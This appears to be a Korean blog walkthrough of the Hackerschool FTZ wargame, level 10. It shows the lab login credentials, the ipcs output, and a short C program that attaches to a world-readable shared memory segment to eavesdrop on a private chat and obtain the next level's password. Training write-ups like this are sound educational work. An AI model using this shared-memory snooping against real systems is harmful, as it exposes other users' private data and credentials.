해커스쿨 FTZ [LEVEL10] 풀이
M4ndU
해커스쿨 FTZ [LEVEL10] 풀이입니다.
ID | level10
PW | interesting to hack!
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat hint
를 이용해 힌트를 확인합시다.
login as: level10
level10@192.168.31.128's password:
[level10@ftz level10]$ ls -l
total 16
-rw-r----- 1 root level10 253 Jan 14 2010 hint
drwxr-x--- 2 root root 4096 Mar 29 2003 program
drwxr-xr-x 2 root level10 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level10 4096 Jan 16 2009 tmp
[level10@ftz level10]$ cat hint
두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며,
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여
level11의 권한을 얻어라.
- 레벨을 완료하셨다면 소스는 지우고 나가주세요.
공유 메모리에 관한 문제입니다.
공유 메모리에 대해 공부를 하고 옵시다!!! (구글링)
....
하고 오셨나여?
일단 공유 메모리와 관련된 명령어인 ipcs를 사용해봅시다.
[level10@ftz level10]$ ipcs
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0x00001d6a 0 root 666 1028 0
------ Semaphore Arrays --------
key semid owner perms nsems
------ Message Queues --------
key msqid owner perms used-bytes messages
key가 0x00001d6a = 7530 인 것이 있네요.
이제 tmp 폴더로 이동해서 코드를 작성합시다.
[level10@ftz level10]$ cd tmp
[level10@ftz tmp]$ vi level10.c
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
int main(){
int a;
char* b;
a = shmget(7530, 1028, IPC_CREAT|0666);
b = shmat(a, NULL, 0);
printf("%s", b);
}
컴파일후, 실행해 줍시다.
[level10@ftz tmp]$ gcc -o level10 level10.c
[level10@ftz tmp]$ ./level10
멍멍: level11의 패스워드는?
구타: what!@#$?
다음 레벨로~ 가즈아~
'System Hacking > FTZ' 카테고리의 다른 글
해커스쿨 FTZ [LEVEL12] 풀이 (4) | 2018.02.09 |
---|---|
해커스쿨 FTZ [LEVEL11] 풀이 (3) | 2018.02.08 |
해커스쿨 FTZ [LEVEL9] 풀이 (0) | 2018.02.07 |
해커스쿨 FTZ [LEVEL8] 풀이 (0) | 2018.02.07 |
해커스쿨 FTZ [LEVEL7] 풀이 (0) | 2018.02.07 |